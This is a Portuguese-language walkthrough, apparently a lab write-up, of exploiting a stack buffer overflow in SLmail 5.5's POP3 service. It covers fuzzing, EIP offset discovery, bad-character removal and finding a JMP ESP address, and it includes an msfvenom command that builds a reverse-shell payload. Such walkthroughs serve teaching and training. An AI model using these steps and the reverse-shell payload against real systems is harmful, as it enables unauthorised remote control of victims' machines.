
Buffer Overflow no Seattle Lab Mail (SLmail) 5.5 - POP3
Buffer Overflow no Seattle Lab Mail (SLmail) 5.5 - POP3
Exploração Simples de Buffer Overflow Baseado em STACK Passo a Passo
No primeiro passo, vamos fazer Fuzz na Aplicação com um Simples Spike Script
enquanto isso, também teremos o SLmail anexado [e em execução] ao Immunity Debugger
Mais Sobre Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Aqui está um Simples Spike Script chamado spike_fuzz.spk
vamos executá-lo contra a aplicação usando o comando
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
onde 192.168.1.117 é o IP da Máquina Alvo executando SLMail e está sendo executado na Porta 110

Enquanto isso, se olharmos no Immunity, veremos que a aplicação falhou

Agora, criaremos um POC em Python que replica a falha e calcula os bytes nos quais a aplicação falha
python poc_crash.py

Para encontrar o offset, utilizaremos o msf
1. Primeiro, Gerar um padrão
2. Anotar o EIP
3. Consultar esse EIP e Comprimento com o MSF para Encontrar o Offset
msf-pattern_create -l 2700

Em poc_offset.py, utilizaremos esse padrão como nosso Buffer de Overflow!
python poc_offset.py

Neste ponto, também anotamos o valor do EIP no Immunity onde a aplicação falhou e pausou

EIP is 39694438
::Para Encontrar o Offset::
msf-pattern_offset -l 2700 -q 39694438

offset é 2606, ou seja, 2606 bytes antes de atingirmos o EIP::: e o próprio EIP tem 4 bytes de comprimento
Agora, tentaremos sobrescrever o EIP com 4 B's, ou seja:: no Immunity, devemos ter 42424242 {Hex para 4 B's}
python poc_eip_control.py

E agora, se verificarmos o Immunity

Para manter isso simples e curto
Você pode executar o script poc_badchars.py e encontrar os Caracteres Ruins por conta própria
Para manter isso curto
Esta aplicação tem dois caracteres ruins {que também são os padrão} quando executamos o poc_badchars.py pela primeira vez, veremos que o carácter \x0a se comporta mal e então o removeremos do nosso payload de caracteres ruins e executaremos o script novamente... na segunda vez, veremos que o carácter \x0d é pulado, então este é o nosso segundo caractere ruim e o removemos do payload :: depois disso, quando executamos o script pela terceira vez, tudo está limpo e bom!!
badchars are :: \x00\x0a\x0d
{byte nulo, alimentação de linha, retorno de carro}
python poc_badchars.py
Primeiro, encontramos o módulo certo usando Mona Modules no Immunity
slmfc.dll é o candidato mais adequado, pois não tem proteções de memória!

e agora encontramos um endereço JMP ESP nesta DLL
Este endereço será escrito no EIP para que possamos redirecionar a Execução do Programa para ESP, o que resultará na Execução do nosso shellcode!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalente a JMP ESP}

de 19 endereços de ponteiro, escolhemos o primeiro
Agora vamos juntar tudo isso e obter um Shell
1.) gerar o shell code {excluindo badchars}
2.) adicionar o endereço que encontramos {lembre-se Little Endian}
3.) Adicionar o buffer, endereço de retorno, alguns nop-sleds, shellcode
4.) temos um shell
Vamos gerar rapidamente o shell code usando msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Colocamos tudo junto no arquivo exploit.py

Agora, desta vez, executamos o SLmail sem o Immunity e também ouvimos conexões de entrada simultaneamente
uma vez feito isso, executaremos o script final exploit.py!

EXCELENTE, TEMOS UM SHELL!